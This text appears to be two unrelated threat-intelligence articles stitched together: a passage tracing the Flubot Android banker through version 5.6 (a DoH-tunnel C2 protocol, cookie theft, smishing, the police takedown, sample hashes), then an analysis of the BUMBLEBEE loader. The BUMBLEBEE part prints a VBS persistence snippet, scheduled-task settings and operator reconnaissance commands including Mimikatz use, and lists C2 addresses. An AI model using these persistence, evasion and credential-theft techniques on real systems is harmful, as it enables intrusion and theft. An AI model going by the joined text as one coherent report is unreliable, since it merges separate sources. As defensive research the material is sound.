At the beginning of October, we saw a campaign different from the previous DHL / Correos / Fedex campaigns or the “VoiceMail” campaign. This time, TAs started to distribute Flubot as a fake security update for Android.
It seems this new distribution campaign wasn’t working as expected, since TAs kept using the “VoiceMail” distribution campaign after a few days.

TAs were very quiet until late November, when they finally released new samples with important changes in the protocol used to communicate with C2 servers. After bumping the version numbers so quickly at the beginning, now TAs weren’t bumping the version number
even with a major change like this one.

This protocol change allowed the malware to communicate with the C2 servers without starting a direct connection with them. Flubot used TXT DNS requests to common public DNS servers (Google, CloudFlare and AliDNS). Then, those requests were forwarded to the actual C2 servers (which implemented DNS servers) to get the TXT record response from the servers and forward it to the malware. The stolen information from the infected device was sent encrypting it using RC4 (in a very similar way to the used in the previous protocol version) and encoding the encrypted bytes. This way, the encoded payload was used as a subdomain of the DGA generated domain. The response from C2 servers was also encrypted and encoded as the TXT record response to the TXT request, and it included the commands to execute smishing tasks for distribution campaign or the web injections used to steal credentials.

With this new protocol, Flubot was using DoH servers from well known companies such as Google and CloudFlare to establish a tunnel of sorts with the C2 servers. With this technique, detecting the malware via network traffic monitoring was very difficult, since the malware wasn’t establishing connections with unknown or malicious servers directly. Also, since it was using DoH, all the DNS requests were encrypted, so network traffic monitoring couldn’t identify those malicious DNS requests.

This major change in the protocol with the C2 servers could also explain the low activity in the previous months. Possibly developers were working on ways to improve the protocol as well as the code of both malware and C2 servers backend.

December 2021: ‘Flash Player’ campaign and DGA changes [Flubot versions 5.0-5.1]

Finally, in December the TAs decided to finally bump the version number to 5.0. This new version brought a minor but interesting change: Flubot can now receive URLs in addition to web injections HTML and JavaScript code. Before version 5.0, C2 servers would send the web injection code, which was saved on the device for future use when the victim opened one of the targeted applications in order to steal the credentials. Since version 5.0, C2 servers were sending URLs instead, so Flubot’s malware had to visit the URL and save the HTML and JavaScript source code in memory for future use.

No more new versions or changes were observed until the end of December, when the TAs wanted to say goodbye to the 2021 by releasing Flubot 5.1. The first samples of Flubot 5.1 were detected on December 31. As we will see in the following section, on January 2 Flubot 5.2 samples came out. Version 5.1 came out with some important changes on DGA. This time, TAs introduced a big list of TLDs to generate new domains, while they also introduced a new command used to receive a new DGA seed from the C2 servers – UPDATE_ALT_SEED. Based on our research, this new command was never used, since all the newly infected devices had to connect to the C2 servers using the domains generated with the hard-coded seeds.

Besides the new changes and features added in December, TAs also introduced a new campaign: “Flash Player”. This campaign was used alongside with “VoiceMail” campaign, which still was the most used to distribute Flubot. In this new campaign, a text message was sent to the victims from infected devices trying to make them install a “Flash Player” application in order to watch a fake video in which the victim appeared. The following image shows how simple the distribution website was, shown when the victim opens the link.

January 2022: Improvements in Smishing features and new ‘Direct Reply’ features [Flubot versions 5.2-5.4]

At the very beginning of January new samples for the new version of Flubot were detected. This time, version 5.2 introduced minor changes in which TAs added support for longer text messages on smishing tasks. They stopped using the usual Android’s “sendTextMessage” function and started to use “sendMultipartTextMessage” alongside “divideMessage” instead. This allowed them to use longer messages, split into multiple messages.

A few days after new sample of version 5.2 was discovered, samples of version 5.3 were detected. In this case, no new features were introduced. TAs removed some unused old code. This version seemed like a version used to clean the code. Also, three days after the first samples of Flubot 5.3 appeared, new samples of this version were detected with support for campaigns in new countries: Japan, Hong Kong, South Korea, Singapore and Thailand.

By the end of January, TAs released a new version: Flubot 5.4. This new version introduced a new and interesting feature: Direct Reply. The malware was now capable to intercept the notifications received in the infected device and automatically reply them with a configured message received from the C2 servers.

To get the message that would be used to reply notifications, Flubot 5.4 introduces a new request command called “GET_NOTIF_MSG”. As the following image shows, this request command is used to get the message to finally be used when a new notification is received.

Even though this was an interesting new feature to improve the botnet’s distribution power, it didn’t last too long. It was removed in the following version.

In the same month we detected Medusa, another Android banking malware, distributed in some Flubot smishing tasks. This means that, one more time, Flubot botnet was being used as a distribution botnet for distribution of another malware family. In August 2021 it was used to distribute Teabot. Now, it has been used to distribute Medusa.

If we try to connect the dots, it could explain the new “Direct Reply” feature and the usage of “multipart messages”. Those improvements could have been introduced due to suggestions made by Medusa’s TAs in order to use Flubot botnet as distribution service.

February-March-April 2022: New cookie stealing features [Flubot versions 5.5]

From late January – when we fist observed version 5.4 in the wild – to late February, almost one month passed until a new version was released. We believe this case is similar to previous periods of time, like August-November 2021, when TAs used that time to introduce a big change in the protocol. This time, it seems TAs were quietly working on new Flubot 5.5, which came with a very interesting feature: Cookie stealing.

The first thing we realized by looking at the new code was a little change when requesting the list of targeted apps. This request must include the list of installed applications in the infected device. As a result, the C2 server would provide the subset of apps which are targeted. In this new version, “.new” was appended to the package names of installed apps when doing the “GET_INJECTS_LIST” request.

At the beginning, the C2 servers were responding with URLs to fetch the web injections for credentials stealing when using “.new” appended to the package’s name.
After some time, C2 servers started to respond with the official URL of the banks and crypto-currency platforms, which seemed strange. After analysis of the code, we realized they also introduced code to steal the cookies from the WebView used to show web injections – in this case, the targeted entity’s website. Clicks and text changes in the different UI elements of the website were also logged and sent to the C2 server, so TAs were not only stealing cookies: they were also able to steal credentials via “keylogging”.

The cookies stealing code could receive an URL, the same way it could receive a URL to fetch web injections, but this time visiting the URL it wasn’t receiving the web injection. Instead, it was receiving a new URL (the official bank or service URL) to be loaded and to steal the credentials from. In the following image, the response from a compromised website used to download the web injections is shown. In this case, it was used to get the payload for stealing GMail’s cookies (shown when the victim tries to open Android Email application).

After the victim logs in to the legitimate website, Flubot will receive and handle an event when the website ends loading. At this time, it gets the cookies and sends them to the C2 server, as can be seen in the following image.

May 2022: MMS smishing and.. The End? [Flubot versions 5.6]

Once again, after one month without new versions in the wild, a new version of Flubot came out at the beginning of May: Flubot 5.6. This is the last known Flubot version.

This new version came with a new interesting feature: MMS smishing tasks. With this new feature, TAs were trying to bypass carriers detections, which were probably put in place after more than a year of activity. A lot of users were infected and their devices where sending text messages without their knowledge.

To introduce this new feature, TAs added new request’s commands:
– GET_MMS: used to get the phone number and the text message to send (similar to the usual GET_SMS used before for smishing)
– MMS_RATE: used to get the time rate to make “GET_MMS” request and send the message (similar to the usual SMS_RATE used before for smishing).

After this version got released on May 1st, the C2 servers stopped working on May 21st. They were offline until May 25th, but they were still not working properly, since they were replying with empty responses. Finally, on June 1st, Europol published on their website that they took down the Flubot’s infrastructure with the cooperation of police from different countries. Dutch Police was the one that took down the infrastructure. It probably happened because Flubot C2 servers, at some point in 2022, changed the hosting services to a hosting service in The Netherlands, making it easier to take down.

Does it mean this is the end of Flubot? Well, we can’t know for sure, but it seems police wasn’t able to get the RSA private keys since they didn’t make the C2 servers send commands to detect and remove the malware from the devices.
This means that the TAs should be able to bring Flubot back by just registering new domains and setting up all the infrastructure in a “safer” country and hosting service. TAs could recover their botnet, with less infected devices due to the offline time, but still with some devices to continue sending smishing messages to infect new devices. It depends on the TAs intentions, since it seems that the police hasn’t found them yet.

Conclusion

Flubot has been one of the most – if not the most – active banking malware family of the last few years. Probably this was due to their powerful distribution strategy: smishing. This malware has been using the infected devices to send text messages to the phone numbers which were stolen from the victims smartphones. But this, in combination with fake parcel shipping messages in a period of time in which everybody is used to buy things online has made it an important threat.

As we have seen in this post, TAs have introduced new features very frequently, which made Flubot even more dangerous and contagious. A significant part of the updates and new features have been introduced to improve the distribution capabilities of the malware in different countries, while others have been introduced to improve the credentials and information stealing capabilities.

Some updates delivered major changes in the protocol, making it more difficult to detect via network monitoring, with a DoH tunnel-based protocol which is really uncommon in the world of Android Malware. It seems that TAs have even been interested on selling some kind of “smishing distribution” service to other TAs, as we have seen with the association with Teabot and Medusa.

After one year and a half, Dutch Police was able to take down the C2 servers after TAs started using a Dutch hosting service. It seems to be the end of Flubot, at least for now.

TAs still can move the infrastructure back to a “safer” hosting and register new DGA domains to recover their botnet. It’s too soon to determine that was the end of Flubot. Time will tell what will happen with this Android malware family, which has been one of the most important and interesting malware families in the last few years.

List of samples by version

0.1 – 5e0311fb1d8dda6b5da28fa3348f108ffa403f3a3cf5a28fc38b12f3cab680a0
0.5 – d3af7d46d491ae625f66451258def5548ee2232d116f77757434dd41f28bac69
1.2 – c322a23ff73d843a725174ad064c53c6d053b6788c8f441bbd42033f8bb9290c
1.7 – 75c2d4abecf1cc95ca8aeb820e65da7a286c8ed9423630498a95137d875dfd28
1.9 – 9420060391323c49217ce5d40c23d3b6de08e277bcf7980afd1ee3ce17733da2
2.1 – 13013d2f96c10b83d79c5b4ecb433e09dbb4f429f6d868d448a257175802f0e9
2.2 – 318e4d4421ce1470da7a23ece3db5e6e4fe9532e07751fc20b1e35d7d7a88ec7
2.8 – f3257b1f0b2ed1d67dfa1e364c4adc488b026ca61c9d9e0530510d73bd1cf77e
3.1 – affaf5f9ba5ea974c605f09a0dd7776d549e5fec2f946057000abe9aae1b3ce1
3.2 – 865aaf13902b312a18abc035f876ad3dfedce5750dba1f2cc72aabd68d6d1c8f
3.4 – ca18a3331632440e9b86ea06513923b48c3d96bc083310229b8c5a0b96e03421
3.5 – 43a2052b87100cf04e67c3c8c400fa203e0e8f08381929c935cff2d1f80f0729
3.6 – fd5f7648d03eec06c447c1c562486df10520b93ad7c9b82fb02bd24b6e1ec98a
3.7 – 1adba4f7a2c9379a653897486e52123d7c83807e0e7e987935441a19eac4ce2c
3.9 – 1cf5c409811bafdc4055435a4a36a6927d0ae0370d5197fcd951b6f347a14326
4.0 – 8e2bd71e4783c80a523317afb02d26cac808179c57834c5c599d976755b1dabd
4.1 – ec3c35f17e539fe617ca2e73da4a51dc8efedda94fd1f8b50a5b77d63e58ba5c
4.2 – 368cebac47e36c81fb2f1d8292c6c89ccb10e3203c5927673ce05ba29562f19c
4.3 – dab4ce5fbb1721f24bbb9909bb59dcc33432ccf259ee2d3a1285f47af478416d
4.4 – 6a03efa4ffa38032edfb5b604672e8c9e01a324f8857b5848e8160593dfb325e
4.5 – f899993c6109753d734b4faaf78630dc95de7ea3db78efa878da7fbfc4aee7cd
4.6 – ffaebdbc8c2ecd63f9b97781bb16edc62b2e91b5c69e56e675f6fbba2d792924
4.7 – a0dd408a893f4bc175f442b9050d2c328a46ff72963e007266d10d26a204f5af
4.8 – a0181864eed9294cac0d278fa0eadabe68b3adb333eeb2e26cc082836f82489d
4.9 – 831334e1e49ec7a25375562688543ee75b2b3cc7352afc019856342def52476b
4.9 – 8c9d7345935d46c1602936934b600bb55fa6127cbdefd343ad5ebf03114dbe45 (DoH tunnel protocol)
5.0 – 08d8dd235769dc19fb062299d749e4a91b19ef5ec532b3ce5d2d3edcc7667799
5.1 – ff2d59e8a0f9999738c83925548817634f8ac49ec8febb20cfd9e4ce0bf8a1e3
5.2 – 4859ab9cd5efbe0d4f63799126110d744a42eff057fa22ff1bd11cb59b49608c
5.3 – e9ff37663a8c6b4cf824fa65a018c739a0a640a2b394954a25686927f69a0dd4
5.4 – df98a8b9f15f4c70505d7c8e0c74b12ea708c084fbbffd5c38424481ae37976f
5.5 – 78d6dc4d6388e1a92a5543b80c038ac66430c7cab3b877eeb0a834bce5cb7c25
5.6 – 16427dc764ddd03c890ccafa61121597ef663cba3e3a58fc6904daf644467a7c

Authored by: Nikolaos Totosis, Nikolaos Pantazopoulos and Mike Stokkel

Executive summary

BUMBLEBEE is a new malicious loader that is being used by several threat actors and has been observed to download different malicious samples. The key points are:

• BUMBLEBEE is statically linked with the open-source libraries OpenSSL 1.1.0f, Boost (version 1.68). In addition, it is compiled using Visual Studio 2015.
• BUMBLEBEE uses a set of anti-analysis techniques. These are taken directly from the open-source project [1].
• BUMBLEBEE has Rabbort.DLL embedded, using it for process injection.
• BUMBLEBEE has been observed to download and execute different malicious payloads such as Cobalt Strike beacons.

Introduction

In March 2022, Google’s Threat Analysis Group [2] published about a malware strain linked to Conti’s Initial Access Broker, known as BUMBLEBEE. BUMBLEBEE uses a comparable way of distribution that is overlapping with the typical BazarISO campaigns.

In the last months BUMBLEBEE, would use three different distribution methods:

• Distribution via ISO files, which are created either with StarBurn ISO or PowerISO software, and are bundled along with a LNK file and the initial payload.
• Distribution via OneDrive links.
• Email thread hijacking with password protected ZIP

BUMBLEBEE is currently under heavy development and has seen some small changes in the last few weeks. For example, earlier samples of BUMBLEBEE used the user-agent ‘bumblebee’ and no encryption was applied to the network data. However, this functionality has changed, and recent samples use a hardcoded key as user-agent which is also acting as the RC4 key used for the entire network communication process.

Technical analysis

Most of the identified samples are protected with what appears to be a private crypter and has only been used for BUMBLEBEE binaries so far. This crypter uses an export function with name SetPath and has not implemented any obfuscation method yet (e.g. strings encryption).

The BUMBLEBEE payload starts off by performing a series of anti-analysis checks, which are taken directly from the open source Khasar project[1]. After these checks passed, BUMBLEBEE proceeds with the command-and-control communication to receive tasks to execute.

Network communication

BUMBLEBEE’s implemented network communication procedure is quite simple and straightforward. First, the loader picks an (command-and-control) IP address and sends a HTTPS GET request, which includes the following information in a JSON format (encrypted with RC4):

Key	Description
client_id	A MD5 hash of a UUID value taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystemProduct’.
group_name	A hard-coded value, which represents the group that the bot (compromised host) will be added.
sys_version	Windows OS version
client_version	Default value that’s set to 1
domain_name	Domain name taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystem’.
task_state	Set to 0 by default. Used only when the network commands with task name ‘ins‘ or ‘sdl‘ are executed
task_id	Set to 0 by default. Used only when the network commands with task name ‘ins‘ or ‘sdl‘ are executed

Once the server receives the request, it replies with the following data in a JSON format:

Key	Description
response_status	Boolean value, which shows if the server correctly parsed the loader’s request. Set to 1 if successful.
tasks	Array containing all the tasks
task	Task name
task_id	ID of the received task, which is set by the operator(s)
task_data	Data for the loader to execute in Base64 encoded format
file_entry_point	Potentially represents an offset value. We have not observed this being used either in the binary’s code or during network communication (set to an empty string).

Tasks

Based on the returned tasks from the command-and-control servers, BUMBLEBEE will execute one of the tasks described below. For two of the tasks, shi and dij, BUMBLEBEE uses a list of predefined process images paths:

• C:\Program Files\Windows Photo Viewer\ImagingDevices.exe
• C:\Program Files\Windows Mail\wab.exe
• C:\Program Files\Windows Mail\wabmig.exe

Task name	Description
shi	Injects task’s data into a new process. The processes images paths described above and a random selection is made
dij	Injects task’s data into a new process. The injection method defers from the method used in task ‘dij’. The processes images paths described above and a random selection is made.
dex	Writes task’s data into a file named ‘wab.exe’ under the Windows in AppData folder.
sdl	Deletes loader’s binary from disk.
ins	Adds persistence to the compromised host.

For the persistence mechanism, BUMBLEBEE creates a new directory in the Windows AppData folder with the directory’s name being derived by the client_id MD5 value. Next, BUMBLEBEE copies itself to its new directory and creates a new VBS file with the following content:

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "rundll32.exe my_application_path, IternalJob"

Lastly, it creates a scheduled task that has the following metadata (this can differ from sample to sample):

1. Task name – Randomly generated. Up to 7 characters.
2. Author – Asus
3. Description – Video monitor
4. Hidden from the UI: True
5. Path: %WINDIR%\System32\wscript.exe VBS_Filepath

Similarly with the directory’ name, the new loader’s binary and VBS filenames are derived from the ‘client_id’ MD5 value too.

Additional observations

This sub-section contains notes that were collected during the analysis phase and worth to be mentioned too.

• The first iterations of BUMBLEBEE were observed in September 2021 and were using “/get_load” as URI. Later, the samples started using “/gate”. On 19th of April, they switched to “/gates”, replacing the previous URI.
• The “/get_load” endpoint is still active on the recent infrastructure – this is probably either for backwards compatibility or ignored by the operator(s). Besides this, most of the earlier samples using URI endpoint are uploaded from non-European countries.
• Considering that BUMBLEBEE is actively being developed on, the operator(s) did not implement a command to update the loader’s binary, resulting the loss of existing infections.
• It was found via server errors (during network requests and from external parties) that the backend is written in Golang.
• As mentioned above, every BUMBLEBEE binary has an embedded group tag. Currently, we have observed the following group tags:

VPS1GROUP	ALLdll
VPS2GROUP	1804RA
VS2G	1904r
VPS1	2004r
SP1	1904l
RA1104	25html
LEG0704	2504r
AL1204	2704r
RAI1204

• As additional payloads, NCC Group’s RIFT has observed mostly Cobalt Strike and Meterpeter being sent as tasks. However, third parties have confirmed the drop of Sliver and Bokbot payloads.
• While analyzing NCC Group’s RIFT had a case where the command-and-control server sent the same Meterpeter PE file in two different tasks in the same request to be executed. This is probably an attempt to ensure execution of the downloaded payload (Figure 1). There were also cases where the server initially replied with a Cobalt Strike beacon and then followed up with more than two additional payloads, both being Meterpeter.

• In one case, the downloaded Cobalt Strike beacon was executed in a sandbox environment and revealed the following commands and payloads were executed by the operator(s):
  • net group “domain admins” /domain
  • ipconfig /all
  • netstat -anop tcp
  • execution of Mimikatz

Indicators of compromise (IOC’s)

Type	Description	Value
IPv4	Meterpreter command-and-control server, linked to Group ID 2004r & 25html	23.108.57[.]13
IPv4	Meterpreter command-and-control server, linked to Group ID 2004r & 2504r	130.0.236[.]214
IPv4	Cobalt Strike server, linked to Group ID 1904r	93.95.229[.]160
IPv4	Cobalt Strike server, linked to Group ID 2004r	141.98.80[.]175
IPv4	Cobalt Strike server, linked to Group ID 2504r & 2704r	185.106.123[.]74
IPv4	BUMBLEBEE command-and-control servers	103.175.16[.]45 103.175.16[.]46 104.168.236[.]99 108.62.118[.]236 108.62.118[.]56 108.62.118[.]61 108.62.118[.]62 108.62.12[.]12 116.202.251[.]3 138.201.190[.]52 142.234.157[.]93 142.91.3[.]109 142.91.3[.]11 149.255.35[.]167 154.56.0[.]214 154.56.0[.]216 168.119.62[.]39 172.241.27[.]146 172.241.29[.]169 185.156.172[.]62 192.236.198[.]63 193.29.104[.]176 199.195.254[.]17 199.80.55[.]44 209.141.59[.]96 209.151.144[.]223 213.227.154[.]158 213.232.235[.]105 23.106.160[.]120 23.106.160[.]39 23.227.198[.]217 23.254.202[.]59 23.81.246[.]187 23.82.140[.]133 23.82.141[.]184 23.82.19[.]208 23.83.133[.]1 23.83.133[.]182 23.83.133[.]216 23.83.134[.]110 23.83.134[.]136 28.11.143[.]222 37.72.174[.]9 45.11.19[.]224 45.140.146[.]244 45.140.146[.]30 45.147.229[.]177 45.147.229[.]23 45.147.231[.]107 49.12.241[.]35 71.1.188[.]122 79.110.52[.]191 85.239.53[.]25 89.222.221[.]14 89.44.9[.]135 89.44.9[.]235 91.213.8[.]23 91.90.121[.]73

References

[1] – https://github.com/LordNoteworthy/al-khaser

[2] – https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/